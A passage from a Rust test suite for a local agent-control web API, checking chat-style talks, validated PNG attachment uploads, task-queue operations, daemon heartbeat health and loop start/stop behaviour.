5225            .as_str()
5226            .expect("id")
5227            .to_owned();
5228        let uploaded = f
5229            .post_bytes(
5230                &format!("/api/talks/{id}/attachments"),
5231                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5232                PNG_BYTES,
5233            )
5234            .await;
5235        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5236        let attachment = f
5237            .talks()
5238            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5239            .expect("attachment metadata")
5240            .expect("stored attachment");
5241        let store = f.talks();
5242        let mut recovered = store.get(&id).expect("opened talk");
5243        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5244
5245        let resumed = f
5246            .post(&format!("/api/talks/{id}/pending/resume"), None)
5247            .await;
5248        assert_eq!(resumed.status, 202, "{}", resumed.body);
5249        for _ in 0..200 {
5250            if store.get(&id).expect("talk").turns.len() == 2 {
5251                break;
5252            }
5253            tokio::time::sleep(Duration::from_millis(10)).await;
5254        }
5255        let finished = store.get(&id).expect("finished talk");
5256        assert_eq!(finished.turns.len(), 2, "{finished:?}");
5257        assert!(finished.turns[0].body.is_empty());
5258        assert_eq!(finished.turns[0].attachments.len(), 1);
5259        assert!(finished.pending_attachments.is_empty());
5260    }
5261
5262    #[tokio::test]
5263    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5264        let (_tmp, _repo, f) = talk_fixture().await;
5265        let id = f.post("/api/talks", None).await.json()["id"]
5266            .as_str()
5267            .expect("id")
5268            .to_owned();
5269        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5270        assert_eq!(closed.status, 200, "{}", closed.body);
5271        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5272            .expect("serialize closed talk");
5273        for (path, body) in [
5274            (format!("/api/talks/{id}/pending/resume"), None),
5275            (
5276                format!("/api/talks/{id}/pending/clear"),
5277                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5278            ),
5279            (
5280                format!("/api/talks/{id}/pending/edit"),
5281                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5282            ),
5283            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5284        ] {
5285            let response = f.post(&path, body).await;
5286            assert_eq!(response.status, 409, "{}", response.body);
5287        }
5288        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5289            .expect("serialize closed talk");
5290        assert_eq!(
5291            after_clear, before_clear,
5292            "clear must not rewrite a closed talk"
5293        );
5294    }
5295
5296    /// Keeps both claims observable long enough to exercise the distinction
5297    /// between one busy talk and a globally locked Chat surface.
5298    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5299
5300    #[tokio::test]
5301    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5302        let tmp = TempDir::new().expect("tempdir");
5303        let repo = tmp.path().join("repo");
5304        std::fs::create_dir_all(&repo).expect("repo dir");
5305        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5306        let f = Fixture::with_repo(repo).await;
5307        let id_a = f.post("/api/talks", None).await.json()["id"]
5308            .as_str()
5309            .unwrap()
5310            .to_owned();
5311        let id_b = f.post("/api/talks", None).await.json()["id"]
5312            .as_str()
5313            .unwrap()
5314            .to_owned();
5315
5316        let a = f
5317            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5318            .await;
5319        assert_eq!(a.status, 202, "{}", a.body);
5320        assert_eq!(a.json()["thinking"], true);
5321        let b = f
5322            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5323            .await;
5324        assert_eq!(b.status, 202, "{}", b.body);
5325        assert_eq!(b.json()["thinking"], true);
5326
5327        let listed = f.get("/api/talks").await.json();
5328        for id in [&id_a, &id_b] {
5329            let view = listed
5330                .as_array()
5331                .unwrap()
5332                .iter()
5333                .find(|talk| talk["id"] == *id)
5334                .unwrap();
5335            assert_eq!(view["thinking"], true, "{listed}");
5336        }
5337        let repeated = f
5338            .post(
5339                &format!("/api/talks/{id_a}/say"),
5340                Some(r#"{"text":"again"}"#),
5341            )
5342            .await;
5343        assert_eq!(repeated.status, 202, "{}", repeated.body);
5344        assert_eq!(repeated.json()["pending"], "again");
5345    }
5346
5347    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
5348    /// few more, since real uploads are never exactly eight bytes.
5349    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5350
5351    #[tokio::test]
5352    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5353        let f = Fixture::start().await;
5354        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5355
5356        let res = f
5357            .post_bytes(
5358                &format!("/api/talks/{id}/attachments"),
5359                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5360                PNG_BYTES,
5361            )
5362            .await;
5363        assert_eq!(res.status, 201, "{}", res.body);
5364        let body = res.json();
5365        assert_eq!(body["name"], "shot.png");
5366        assert_eq!(body["mime"], "image/png");
5367        assert_eq!(body["bytes"], PNG_BYTES.len());
5368        let att_id = body["id"].as_str().expect("id").to_owned();
5369        assert_eq!(
5370            att_id.len(),
5371            32,
5372            "the id must never be a client-suppliable path: {att_id}"
5373        );
5374
5375        let got = f
5376            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5377            .await;
5378        assert_eq!(got.status, 200, "{}", got.body);
5379        assert_eq!(got.header("content-type"), Some("image/png"));
5380        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5381        assert_eq!(got.bytes, PNG_BYTES);
5382    }
5383
5384    #[tokio::test]
5385    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5386        let f = Fixture::start().await;
5387        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5388
5389        // SVG can carry a `<script>`, so it is never on the whitelist even
5390        // though it is a real IANA image type.
5391        let svg = f
5392            .post_bytes(
5393                &format!("/api/talks/{id}/attachments"),
5394                &[("Content-Type", "image/svg+xml")],
5395                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5396            )
5397            .await;
5398        assert!(
5399            (400..500).contains(&svg.status),
5400            "svg must be refused: {} {}",
5401            svg.status,
5402            svg.body
5403        );
5404        assert!(svg.body.contains("SVG"), "{}", svg.body);
5405
5406        let text = f
5407            .post_bytes(
5408                &format!("/api/talks/{id}/attachments"),
5409                &[("Content-Type", "text/plain")],
5410                b"just some text",
5411            )
5412            .await;
5413        assert!(
5414            (400..500).contains(&text.status),
5415            "an unlisted type must be refused: {} {}",
5416            text.status,
5417            text.body
5418        );
5419
5420        // The declared type is a real png, but the size check runs before
5421        // the bytes are even looked at.
5422        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5423        let big = f
5424            .post_bytes(
5425                &format!("/api/talks/{id}/attachments"),
5426                &[("Content-Type", "image/png")],
5427                &oversized,
5428            )
5429            .await;
5430        assert_eq!(
5431            big.status,
5432            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5433            "{}",
5434            big.body
5435        );
5436    }
5437
5438    #[tokio::test]
5439    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5440        let f = Fixture::start().await;
5441        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5442
5443        // A whitelisted `Content-Type`, but bytes that are not actually a
5444        // png - the declared header alone is never trusted.
5445        let res = f
5446            .post_bytes(
5447                &format!("/api/talks/{id}/attachments"),
5448                &[("Content-Type", "image/png")],
5449                b"<html>not a picture</html>",
5450            )
5451            .await;
5452        assert!((400..500).contains(&res.status), "{}", res.body);
5453    }
5454
5455    #[tokio::test]
5456    async fn an_unknown_attachment_id_is_a_404() {
5457        let f = Fixture::start().await;
5458        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5459
5460        let res = f
5461            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5462            .await;
5463        assert_eq!(res.status, 404, "{}", res.body);
5464    }
5465
5466    #[tokio::test]
5467    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5468        let f = Fixture::start().await;
5469        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5470
5471        let uploaded = f
5472            .post_bytes(
5473                &format!("/api/talks/{id}/attachments"),
5474                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5475                PNG_BYTES,
5476            )
5477            .await;
5478        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5479        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5480
5481        let res = f
5482            .post(
5483                &format!("/api/talks/{id}/say"),
5484                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5485            )
5486            .await;
5487        assert_eq!(res.status, 202, "{}", res.body);
5488        let queued = res.json();
5489        let turns = queued["turns"].as_array().expect("turns array");
5490        assert_eq!(
5491            turns.len(),
5492            1,
5493            "an empty body with an attachment is still a turn: {queued}"
5494        );
5495        assert_eq!(turns[0]["who"], "operator");
5496        assert_eq!(turns[0]["body"], "");
5497        let atts = turns[0]["attachments"]
5498            .as_array()
5499            .expect("attachments array");
5500        assert_eq!(atts.len(), 1);
5501        assert_eq!(atts[0]["id"], att_id);
5502        assert_eq!(atts[0]["mime"], "image/png");
5503
5504        // Not only in the response: `record` flushes to disk before the
5505        // agent's own turn is even spawned.
5506        let on_disk = f.talks().get(&id).expect("get");
5507        assert_eq!(on_disk.turns[0].attachments.len(), 1);
5508        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5509    }
5510
5511    #[tokio::test]
5512    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5513        let f = Fixture::start().await;
5514        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5515
5516        let res = f
5517            .post(
5518                &format!("/api/talks/{id}/say"),
5519                Some(&format!(
5520                    r#"{{"text":"hi","attachments":["{}"]}}"#,
5521                    "a".repeat(32)
5522                )),
5523            )
5524            .await;
5525        assert!((400..500).contains(&res.status), "{}", res.body);
5526        assert!(res.body.contains("unknown attachment"), "{}", res.body);
5527
5528        let on_disk = f.talks().get(&id).expect("get");
5529        assert!(
5530            on_disk.turns.is_empty(),
5531            "a rejected attachment id must not partially record the turn: {:?}",
5532            on_disk.turns
5533        );
5534    }
5535
5536    #[tokio::test]
5537    async fn talk_close_makes_the_talk_refuse_further_turns() {
5538        let f = Fixture::start().await;
5539        let id = seed_talk(&f, "20260904-014455-cd34", "open");
5540
5541        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5542        assert_eq!(closed.status, 200, "{}", closed.body);
5543        assert_eq!(closed.json()["status"], "closed");
5544
5545        // Idempotent: closing an already-closed talk is not an error.
5546        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5547        assert_eq!(closed_again.status, 200);
5548        assert_eq!(closed_again.json()["status"], "closed");
5549
5550        let said = f
5551            .post(
5552                &format!("/api/talks/{id}/say"),
5553                Some(r#"{"text":"too late"}"#),
5554            )
5555            .await;
5556        assert_eq!(said.status, 409, "{}", said.body);
5557    }
5558
5559    #[tokio::test]
5560    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5561        let (_tmp, _repo, f) = talk_fixture().await;
5562        let id = f.post("/api/talks", None).await.json()["id"]
5563            .as_str()
5564            .expect("id")
5565            .to_owned();
5566        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5567        assert_eq!(closed.status, 200, "{}", closed.body);
5568
5569        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5570        assert_eq!(reopened.status, 200, "{}", reopened.body);
5571        assert_eq!(reopened.json()["status"], "open");
5572
5573        // Idempotent: reopening an already-open talk is not an error.
5574        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5575        assert_eq!(reopened_again.status, 200);
5576        assert_eq!(reopened_again.json()["status"], "open");
5577
5578        let said = f
5579            .post(
5580                &format!("/api/talks/{id}/say"),
5581                Some(r#"{"text":"still there?"}"#),
5582            )
5583            .await;
5584        assert_eq!(
5585            said.status, 202,
5586            "a reopened talk accepts turns again: {}",
5587            said.body
5588        );
5589    }
5590
5591    #[tokio::test]
5592    async fn talk_reopen_on_an_unknown_id_is_404() {
5593        let f = Fixture::start().await;
5594        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5595        assert_eq!(res.status, 404, "{}", res.body);
5596    }
5597
5598    #[tokio::test]
5599    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5600        let f = Fixture::start().await;
5601        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5602
5603        let deleted = f.delete(&format!("/api/talks/{id}")).await;
5604        assert_eq!(deleted.status, 204, "{}", deleted.body);
5605
5606        let after = f.get(&format!("/api/talks/{id}")).await;
5607        assert_eq!(after.status, 404, "{}", after.body);
5608
5609        let listed = f.get("/api/talks").await.json();
5610        assert!(
5611            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5612            "a deleted talk must not linger in the list: {listed}"
5613        );
5614    }
5615
5616    #[tokio::test]
5617    async fn talk_delete_on_an_unknown_id_is_404() {
5618        let f = Fixture::start().await;
5619        let res = f.delete("/api/talks/nonexistent-id").await;
5620        assert_eq!(res.status, 404, "{}", res.body);
5621    }
5622
5623    #[tokio::test]
5624    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
5625        let f = Fixture::start().await;
5626        let queue = f.queue();
5627        let mut task = Task::new(
5628            "spent".to_owned(),
5629            "Try again".to_owned(),
5630            PathBuf::from("/repo/magi"),
5631            Source::Human,
5632        );
5633        task.start("20260902-140502-bbbb".to_owned());
5634        task.fail("agent gave up", 9);
5635        queue.put(&mut task).expect("file the task");
5636
5637        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5638        assert_eq!(held.status, 200);
5639        assert_eq!(held.json()["status_str"], "held");
5640
5641        let released = f
5642            .post(&format!("/api/queue/{}/release", task.id), None)
5643            .await;
5644        assert_eq!(released.status, 200);
5645        assert_eq!(released.json()["status_str"], "queued");
5646        assert_eq!(
5647            released.json()["attempts"],
5648            0,
5649            "release is a real second chance, not an instant re-hold"
5650        );
5651        assert_eq!(
5652            queue.get(&task.id).expect("reload").status,
5653            TaskStatus::Queued,
5654            "the change is on disk, not only in the reply"
5655        );
5656        assert!(
5657            !f.home
5658                .path()
5659                .join("queue")
5660                .join(format!("{}.lock", task.id))
5661                .exists(),
5662            "the claim the mutation took is released again"
5663        );
5664    }
5665
5666    #[tokio::test]
5667    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
5668        let f = Fixture::start().await;
5669        let queue = f.queue();
5670        let mut task = Task::new(
5671            "busy".to_owned(),
5672            "Running right now".to_owned(),
5673            PathBuf::from("/repo/magi"),
5674            Source::Human,
5675        );
5676        queue.put(&mut task).expect("file the task");
5677        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5678
5679        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5680
5681        assert_eq!(res.status, 409);
5682        assert_eq!(
5683            queue.get(&task.id).expect("reload").status,
5684            TaskStatus::Queued,
5685            "the refused hold changed nothing"
5686        );
5687    }
5688
5689    #[tokio::test]
5690    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
5691        let f = Fixture::start().await;
5692        let queue = f.queue();
5693        let mut task = Task::new(
5694            "waiting on the migration".to_owned(),
5695            "Do the thing".to_owned(),
5696            PathBuf::from("/repo/magi"),
5697            Source::Human,
5698        );
5699        queue.put(&mut task).expect("file the task");
5700
5701        let held = f
5702            .post(
5703                &format!("/api/queue/{}/hold", task.id),
5704                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
5705            )
5706            .await;
5707        assert_eq!(held.status, 200, "{}", held.body);
5708        assert_eq!(held.json()["status_str"], "held");
5709        assert_eq!(
5710            held.json()["hold_reason"],
5711            "waiting for 20260101-000000-aaaa to land"
5712        );
5713
5714        let listed = f.get("/api/queue").await.json();
5715        assert_eq!(
5716            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
5717            "the card reads the reason off the same list route"
5718        );
5719
5720        // A hold with no body at all must keep working - most holds have no
5721        // reason to give.
5722        let mut plain = Task::new(
5723            "no reason given".to_owned(),
5724            "Do another thing".to_owned(),
5725            PathBuf::from("/repo/magi"),
5726            Source::Human,
5727        );
5728        queue.put(&mut plain).expect("file the task");
5729        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
5730        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
5731        assert!(held_plain.json()["hold_reason"].is_null());
5732
5733        let released = f
5734            .post(&format!("/api/queue/{}/release", task.id), None)
5735            .await;
5736        assert_eq!(released.status, 200);
5737        assert!(
5738            released.json()["hold_reason"].is_null(),
5739            "a release must clear the reason so the next hold does not inherit it"
5740        );
5741    }
5742
5743    #[tokio::test]
5744    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
5745        let f = Fixture::start().await;
5746        let queue = f.queue();
5747        let mut older = Task::new(
5748            "filed first".to_owned(),
5749            "x".to_owned(),
5750            PathBuf::from("/repo/magi"),
5751            Source::Human,
5752        );
5753        older.id = "20260101-000001-aaaa".to_owned();
5754        let mut newer = Task::new(
5755            "filed second".to_owned(),
5756            "x".to_owned(),
5757            PathBuf::from("/repo/magi"),
5758            Source::Human,
5759        );
5760        newer.id = "20260101-000002-bbbb".to_owned();
5761        queue.put(&mut older).expect("file older");
5762        queue.put(&mut newer).expect("file newer");
5763
5764        // Equal priority: the newer task leads, the same order the old
5765        // newest-first `list()` already gave every equal-priority queue.
5766        let before = f.get("/api/queue").await.json();
5767        assert_eq!(before[0]["id"], newer.id);
5768        assert_eq!(before[1]["id"], older.id);
5769
5770        // Raising the *older* task is the meaningful case: it can only lead
5771        // now because its priority says so, not because it happens to be
5772        // newest.
5773        let raised = f
5774            .post(
5775                &format!("/api/queue/{}/priority", older.id),
5776                Some(r#"{"priority":10}"#),
5777            )
5778            .await;
5779        assert_eq!(raised.status, 200, "{}", raised.body);
5780        assert_eq!(raised.json()["priority"], 10);
5781
5782        let after = f.get("/api/queue").await.json();
5783        let names: Vec<&str> = after
5784            .as_array()
5785            .unwrap()
5786            .iter()
5787            .map(|t| t["id"].as_str().unwrap())
5788            .collect();
5789        // Highest priority first, which is the order next_runnable and
5790        // `magi task list` both use - GET /api/queue must agree with it
5791        // immediately, not just once the loop claims the task.
5792        assert_eq!(names[0], older.id, "the raised task now sorts first");
5793    }
5794
5795    #[tokio::test]
5796    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
5797        let f = Fixture::start().await;
5798        let queue = f.queue();
5799        let mut task = Task::new(
5800            "in flight".to_owned(),
5801            "x".to_owned(),
5802            PathBuf::from("/repo/magi"),
5803            Source::Human,
5804        );
5805        task.start("20260902-140502-bbbb".to_owned());
5806        queue.put(&mut task).expect("file the task");
5807
5808        let res = f
5809            .post(
5810                &format!("/api/queue/{}/priority", task.id),
5811                Some(r#"{"priority":9}"#),
5812            )
5813            .await;
5814        assert_eq!(res.status, 400, "{}", res.body);
5815        assert!(
5816            res.json()["error"]
5817                .as_str()
5818                .is_some_and(|e| e.contains("running")),
5819            "{}",
5820            res.body
5821        );
5822        assert_eq!(
5823            queue.get(&task.id).expect("reload").priority,
5824            0,
5825            "the refused write must not partially apply"
5826        );
5827    }
5828
5829    #[tokio::test]
5830    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
5831        let f = Fixture::start().await;
5832        let queue = f.queue();
5833        let mut task = Task::new(
5834            "old title".to_owned(),
5835            "old instruction".to_owned(),
5836            PathBuf::from("/repo/magi"),
5837            Source::Agent {
5838                run: "20260101-000000-beef".to_owned(),
5839                node: "implement".to_owned(),
5840            },
5841        );
5842        task.runs.push("20260101-000000-beef".to_owned());
5843        queue.put(&mut task).expect("file the task");
5844        let created_at = task.created_at;
5845
5846        let edited = f
5847            .post(
5848                &format!("/api/queue/{}/edit", task.id),
5849                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
5850            )
5851            .await;
5852        assert_eq!(edited.status, 200, "{}", edited.body);
5853        let body = edited.json();
5854        assert_eq!(body["title"], "new title");
5855        assert_eq!(body["instruction"], "new instruction");
5856        assert_eq!(body["id"], task.id, "editing must not mint a new id");
5857        assert_eq!(body["created_at"], created_at.to_string());
5858        assert_eq!(
5859            body["source"]["kind"], "agent",
5860            "editing a task an agent filed must not turn it human: {body}"
5861        );
5862        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5863
5864        let reloaded = queue.get(&task.id).expect("reload");
5865        assert_eq!(reloaded.title, "new title");
5866        assert_eq!(reloaded.instruction, "new instruction");
5867    }
5868
5869    #[tokio::test]
5870    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5871        let f = Fixture::start().await;
5872        let queue = f.queue();
5873        let mut task = Task::new(
5874            "in flight".to_owned(),
5875            "do not touch".to_owned(),
5876            PathBuf::from("/repo/magi"),
5877            Source::Human,
5878        );
5879        task.start("20260902-140502-bbbb".to_owned());
5880        queue.put(&mut task).expect("file the task");
5881
5882        let res = f
5883            .post(
5884                &format!("/api/queue/{}/edit", task.id),
5885                Some(r#"{"title":"x","instruction":"y"}"#),
5886            )
5887            .await;
5888        assert_eq!(res.status, 400, "{}", res.body);
5889        assert!(
5890            res.json()["error"]
5891                .as_str()
5892                .is_some_and(|e| e.contains("running")),
5893            "{}",
5894            res.body
5895        );
5896        assert_eq!(
5897            queue.get(&task.id).expect("reload").instruction,
5898            "do not touch",
5899            "the refused edit must not change the file"
5900        );
5901    }
5902
5903    #[tokio::test]
5904    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5905        let f = Fixture::start().await;
5906        let queue = f.queue();
5907        let mut task = Task::new(
5908            "busy".to_owned(),
5909            "Running right now".to_owned(),
5910            PathBuf::from("/repo/magi"),
5911            Source::Human,
5912        );
5913        queue.put(&mut task).expect("file the task");
5914        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5915
5916        let priority = f
5917            .post(
5918                &format!("/api/queue/{}/priority", task.id),
5919                Some(r#"{"priority":9}"#),
5920            )
5921            .await;
5922        assert_eq!(priority.status, 409, "{}", priority.body);
5923
5924        let edit = f
5925            .post(
5926                &format!("/api/queue/{}/edit", task.id),
5927                Some(r#"{"title":"x","instruction":"y"}"#),
5928            )
5929            .await;
5930        assert_eq!(edit.status, 409, "{}", edit.body);
5931    }
5932
5933    #[tokio::test]
5934    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5935        let f = Fixture::start().await;
5936        let queue = f.queue();
5937        let mut task = Task::new(
5938            "shipped by hand".to_owned(),
5939            "merged outside the loop".to_owned(),
5940            PathBuf::from("/repo/magi"),
5941            Source::Agent {
5942                run: "20260101-000000-b455".to_owned(),
5943                node: "implement".to_owned(),
5944            },
5945        );
5946        task.runs.push("20260101-000000-b455".to_owned());
5947        task.runs.push("20260101-000000-9af4".to_owned());
5948        queue.put(&mut task).expect("file the task");
5949        let created_at = task.created_at;
5950
5951        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5952        assert_eq!(done.status, 200, "{}", done.body);
5953        assert_eq!(done.json()["status_str"], "done");
5954
5955        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5956        assert_eq!(
5957            reloaded.runs,
5958            ["20260101-000000-b455", "20260101-000000-9af4"]
5959        );
5960        assert_eq!(
5961            reloaded.source,
5962            Source::Agent {
5963                run: "20260101-000000-b455".to_owned(),
5964                node: "implement".to_owned(),
5965            }
5966        );
5967        assert_eq!(reloaded.created_at, created_at);
5968    }
5969
5970    #[tokio::test]
5971    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5972        // `done` is allowed on any status, including `held`, with no release
5973        // in between - so a task held for a reason and then closed directly
5974        // must not keep reading as "waiting on" it afterwards, on its card or
5975        // in `magi task show`.
5976        let f = Fixture::start().await;
5977        let queue = f.queue();
5978        let mut task = Task::new(
5979            "landed while held".to_owned(),
5980            "x".to_owned(),
5981            PathBuf::from("/repo/magi"),
5982            Source::Human,
5983        );
5984        task.hold_manual(Some("waiting on 3ed9".to_owned()));
5985        queue.put(&mut task).expect("file the held task");
5986
5987        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5988        assert_eq!(done.status, 200, "{}", done.body);
5989        assert_eq!(done.json()["status_str"], "done");
5990        assert!(
5991            done.json()["hold_reason"].is_null(),
5992            "a done task cannot still be waiting on something: {}",
5993            done.body
5994        );
5995    }
5996
5997    #[tokio::test]
5998    async fn unknown_ids_are_json_not_found_on_both_stores() {
5999        let f = Fixture::start().await;
6000
6001        let run = f.get("/api/runs/nosuchrun").await;
6002        let task = f.post("/api/queue/nosuchtask/hold", None).await;
6003
6004        assert_eq!(run.status, 404);
6005        assert_eq!(task.status, 404);
6006        assert!(
6007            run.json()["error"]
6008                .as_str()
6009                .is_some_and(|e| e.contains("run")),
6010            "the error names what was not found: {}",
6011            run.body
6012        );
6013        assert!(
6014            task.json()["error"]
6015                .as_str()
6016                .is_some_and(|e| e.contains("task")),
6017            "the error names what was not found: {}",
6018            task.body
6019        );
6020    }
6021
6022    #[tokio::test]
6023    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6024        let f = Fixture::start().await;
6025
6026        let missing = f.get("/api/health").await.json();
6027        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6028
6029        write_daemon(
6030            f.home.path(),
6031            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6032        );
6033        let stale = f.get("/api/health").await.json();
6034        assert_eq!(
6035            stale["daemon"]["running"], false,
6036            "a minute without a heartbeat is a dead daemon, not a busy one"
6037        );
6038        assert!(
6039            stale["daemon"]["stale_for_secs"]
6040                .as_i64()
6041                .is_some_and(|s| s >= 55),
6042            "staleness is reported so the UI can say how long: {stale}"
6043        );
6044
6045        write_daemon(f.home.path(), Timestamp::now());
6046        let fresh = f.get("/api/health").await.json();
6047        assert_eq!(fresh["daemon"]["running"], true);
6048        assert_eq!(fresh["daemon"]["idle"], false);
6049        assert_eq!(fresh["daemon"]["pid"], 4242);
6050        assert_eq!(fresh["daemon"]["completed"], 7);
6051        assert_eq!(
6052            fresh["daemon"]["current"][0]["task"],
6053            "20260902-140501-aaaa"
6054        );
6055        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6056    }
6057
6058    #[tokio::test]
6059    async fn the_loop_is_not_running_until_something_starts_it() {
6060        let f = Fixture::start().await;
6061
6062        let view = f.get("/api/loop").await.json();
6063        assert_eq!(view["running"], false);
6064        assert_eq!(
6065            view["owned"], false,
6066            "nobody owns a loop that does not exist: {view}"
6067        );
6068        assert_eq!(view["stopping"], false);
6069        assert_eq!(view["last_error"], Value::Null);
6070        assert_eq!(view["daemon"]["running"], false);
6071        assert_eq!(
6072            view["repo"], "/repo/magi",
6073            "the repository a start would use, named before it is started"
6074        );
6075    }
6076
6077    #[tokio::test]
6078    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6079        let f = Fixture::start().await;
6080
6081        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6082        assert_eq!(res.status, 200, "{}", res.body);
6083        let view = res.json();
6084        assert_eq!(view["running"], true);
6085        assert_eq!(
6086            view["owned"], true,
6087            "the loop the UI started is the UI's own to stop: {view}"
6088        );
6089        assert_eq!(
6090            view["merge"],
6091            Value::Null,
6092            "no override was given, so each repository's own config decides"
6093        );
6094
6095        // The same object from the route a waking phone polls first. Two
6096        // surfaces disagreeing about whether anything is running is exactly
6097        // the confusion this UI exists to remove.
6098        let health = f.get("/api/health").await.json();
6099        assert_eq!(health["loop"]["running"], true, "{health}");
6100        assert_eq!(health["loop"]["owned"], true, "{health}");
6101
6102        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6103    }
6104
6105    #[tokio::test]
6106    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6107        let f = Fixture::start().await;
6108        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6109        assert_eq!(first.status, 200, "{}", first.body);
6110
6111        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6112        assert_eq!(
6113            again.status, 409,
6114            "two loops on one queue race for the same claims: {}",
6115            again.body
6116        );
6117        assert!(
6118            again.json()["error"]
6119                .as_str()
6120                .is_some_and(|e| e.contains("already running the loop")),
6121            "the refusal has to say why: {}",
6122            again.body
6123        );
6124        assert_eq!(
6125            f.get("/api/loop").await.json()["running"],
6126            true,
6127            "and the loop that was already running is untouched by it"
6128        );
6129
6130        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6131    }
6132
6133    #[tokio::test]
6134    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6135        let f = Fixture::start().await;
6136        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6137
6138        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6139        assert_eq!(
6140            res.status, 200,
6141            "the answer must not wait for the loop: a run in flight is tens of \
6142             minutes and the operator is holding a phone: {}",
6143            res.body
6144        );
6145
6146        let view = settled(&f, |v| v["running"] == false).await;
6147        assert_eq!(view["owned"], false);
6148        assert_eq!(
6149            view["stopping"], false,
6150            "a loop that has stopped is not still stopping: {view}"
6151        );
6152        assert_eq!(
6153            view["last_error"],
6154            Value::Null,
6155            "a loop that was asked to stop did not fail: {view}"
6156        );
6157
6158        // Idempotent, because the operator cannot tell a slow stop from a lost
6159        // one and will press it again.
